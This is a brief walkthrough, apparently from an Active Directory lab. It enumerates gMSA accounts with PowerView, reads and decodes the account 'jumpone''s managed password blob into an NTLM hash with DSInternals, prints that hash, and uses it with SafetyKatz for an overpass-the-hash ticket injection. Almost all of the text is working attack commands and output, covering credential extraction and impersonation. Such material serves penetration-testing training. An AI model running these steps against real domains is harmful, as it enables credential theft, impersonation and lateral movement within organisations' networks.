Enumerating gMSA using PowerView

First Loading PowerView

. .\PowerView.ps1

Now Let’s Enumerate the gMSA

Get-DomainObject -LDAPFilter '(objectClass=msDS-GroupManagedServiceAccount)'

Now let’s see who have permissions to read the password blob

Get-ADServiceAccount -Identity jumpone -Properties * | select PrincipalsAllowedToRetrieveManagedPassword

Now let’s read the password

$Passwordblob = (Get-ADServiceAccount -Identity jumpone -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
Import-Module C:\AD\Tools\DSInternals_v4.7\DSInternals\DSInternals.psd1
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

And we got the hash

Username: jumpone
ntlmhash: 367032486cc36f7ba0561d7e3e90f615

Now let’s OverPass-The-Hash

.\SafetyKatz.exe "sekurlsa::pth /user:jumpone /ntlm:367032486cc36f7ba0561d7e3e90f615 /domain:us.techcorp.local /ptt"